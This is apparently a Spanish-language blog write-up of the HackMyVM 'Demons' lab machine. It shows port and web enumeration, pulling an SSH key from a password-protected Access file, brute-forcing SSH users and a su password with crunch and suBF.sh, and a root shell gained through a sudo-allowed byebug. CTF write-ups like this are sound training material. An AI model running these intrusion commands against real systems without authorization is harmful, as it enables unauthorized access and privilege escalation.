cd ~/blog

~/writeups/hmv/074-demons.md

074 - Demons

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential ExposureSSH Private Key ExposureWeak PasswordSudo-Allowed Program Abuse
hackmyvm.eu/machines/machine.php?vm=Demons

~1 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.16
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.16
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-18 22:55 -04
Nmap scan report for 192.168.1.16
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 5e:44:8a:b1:77:0c:42:79:16:64:8d:af:b4:78:bb:b4 (RSA)
|   256 cb:0f:a7:df:7f:23:78:5a:08:e3:4f:b6:43:7c:11:84 (ECDSA)
|_  256 a0:4a:26:bf:40:08:68:c2:b1:04:88:b4:8b:a2:45:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title:  DemonsCloseCall
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds

Enumeramos con gobuster y, en el sitio y en /hell, encontramos imágenes de demonios (cuyos nombres usaremos como usuarios):

❯ gobuster dir -u 'http://192.168.1.16' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/hell                 (Status: 200) [Size: 1427]
...

Extracción de una clave SSH desde la base Access

En el FTP anónimo hay un mensaje y un archivo .mdb de Microsoft Access que contiene una clave SSH privada. El archivo está protegido por contraseña. En la evidencia original, reemplazar la firma DBP por DBX provoca que Access abra el archivo con errores, pero permite inspeccionar las propiedades del macro y reasignar la contraseña. La captura no conserva suficiente información para generalizar el detalle interno del formato, así que tratamos el resultado demostrado como una evasión específica de esta base.

Una vez accesibles los datos, extraemos la id_rsa y la probamos contra los nombres de demonios descubiertos en el sitio:

❯ chmod 600 id_rsa
❯ for DEMON in $(cat demons.txt); do ssh "$DEMON"@192.168.1.16 -i id_rsa ;done
aim@Demons:~$

Movimiento lateral mediante Weak Password

Obtenemos una shell como aim y la primera flag. En su home hay una imagen key8_8.jpg de un teclado con teclas marcadas. El nombre sugiere una contraseña de ocho caracteres y la imagen limita el alfabeto, por lo que generamos candidatos con crunch:

❯ crunch 8 8 dfnmo34 -o wordlist.txt

Filtramos por las palabras que contienen todas las letras marcadas y por d3mon:

❯ awk '/d/&&/f/&&/n/&&/m/&&/o/&&/3/&&/4/' wordlist.txt > wordlist-small.txt
❯ grep d3mon wordlist-small.txt > wordlist-tiny.txt

El filtrado reduce el espacio de búsqueda a candidatos coherentes con las dos pistas. Aplicamos password guessing local contra su para el usuario agares:

aim@Demons:/tmp$ ./suBF.sh -u agares -w wordlist-tiny.txt -t 0.5 -s 0.03
  [+] Bruteforcing agares...
  You can login as agares using password: d3monf4m
  Wordlist exhausted

aim@Demons:/tmp$ su agares
Password:
agares@Demons:/tmp$

Escalada mediante byebug

Revisamos sudo -l:

agares@Demons:~$ sudo -l
...
L'utente agares può eseguire i seguenti comandi su Demons:
    (ALL : ALL) /bin/byebug

La regla permite ejecutar byebug como cualquier usuario. Como el depurador evalúa el script Ruby indicado y ofrece control interactivo, abusamos del programa permitido por sudo para ejecutar system("/bin/bash") con privilegios de root:

agares@Demons:/tmp$ echo 'system("/bin/bash")' > sh.rb
agares@Demons:/tmp$ sudo /bin/byebug sh.rb
[1, 1] in /tmp/sh.rb
=> 1: system("/bin/bash")
(byebug) continue
root@Demons:/tmp#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados